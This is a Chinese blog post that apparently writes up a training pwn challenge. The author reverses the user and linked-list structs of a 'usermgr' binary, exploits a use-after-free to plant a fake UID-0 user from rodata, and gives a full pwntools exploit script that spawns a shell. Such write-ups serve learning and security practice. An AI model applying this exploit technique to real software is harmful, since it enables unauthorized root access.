Featured image of post 记3.23下午一道培训题

记3.23下午一道培训题

通过结构体逆向后,分析链表节点结构进行条件修改通过检测

学长说,欸👆🤗,要不你们周日来我这里吃个饭,然后。。。光注意有饭吃没注意到学长让我们带电脑,也就是说——做题,还好不难,学到一些东西,嘻嘻

分析

原文件

保护
main函数和菜单,我们要使uid为0同时账户为roo才能获取shell
sign_up和sign_in的逻辑大致理解后,我们要尝试
还原结构体 否则我们无法彻底理解用户和用户组成链表之间的关系 shift+f1进入结构体界面后,按下insert创建结构体,我们根据反编译逻辑进行构建,分别有两个结构体,一个是用户结构体,一个是连接各用户的链表结构体:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
typedef struct user{
	__int64 uid; #long
	char username[8];
	char password[8];
} user

typedef struct userlist{
   	user* now_user;
	userlist* prev;
	userlist* next;
} userlist

逆向后文件

欸,我们发现一开始就有了一个root用户的节点,但很遗憾,无论如何我们都不可能用普通的手段使得uid为0的同时还存在一个节点,先看看逆完后其他函数的逻辑
观察上面三个函数,我们发现!ptr虽然释放掉了当前节点的指针和user,但是我在sign_up的时候,v4又把这个节点的指针分配回来了!
所以我们是否可以利用一些小手段,在申请的时候使其指向一个fake_user后使得这个user的UID就是0!这样我们在sign_up一个用户后sign_in时只要不空根据程序会从头遍历到尾去寻找对应的用户登录,在这个时候登录我们这个fake_user,那么就会直接system(/bin/sh)! vmmap查看后我们决定在rodata区域中寻找一个可以作为fake_user的部分(你不可能在text这个饱和的代码段里找)
有了!这个地址处会通过0x40e3b8作为userlist的地址,然后0x4003d8就是user的地址,在这个user中UID就是0!
我们继续跟进查看,username和password都是0,那么就可以开始着手编写exp了!

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

io=process("./usermgr")
# io=remote("",)
#gdb.attach(io)
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                  :io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))    
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
ia        = lambda                    :io.interactive()
get_64  = lambda                    :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32  = lambda                    :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def sign_up(username,password):
    sla("> ","1")
    sa("username:",username)
    sa("password:",password)

def sign_in(username,password):
    sla("> ","2")
    sa("username:",username) #注意只能传8字节的话这里不要sla
    sa("password:",password)
    
def remove():
    sla("> ","3")

def get_shell():
    sla("> ","4")


fake_addr=p64(0x403eb8)

#pause()
sign_up(fake_addr,fake_addr)
sign_in(fake_addr,fake_addr)
remove()

sign_up("root","root")
sign_in(p64(0),p64(0))
get_shell()

io.interactive()

代码得多写写才行啊!

本博客已稳定运行
发表了36篇文章 · 总计9万5千字

浙ICP备2024137952号 『网站统计』

𝓌𝒶𝒾𝓉 𝒻ℴ𝓇 𝒶 𝒹ℯ𝓁𝒾𝓋ℯ𝓇𝒶𝓃𝒸ℯ
使用 Hugo 构建
主题 StackJimmy 设计
⬆️该页面访问量Loading...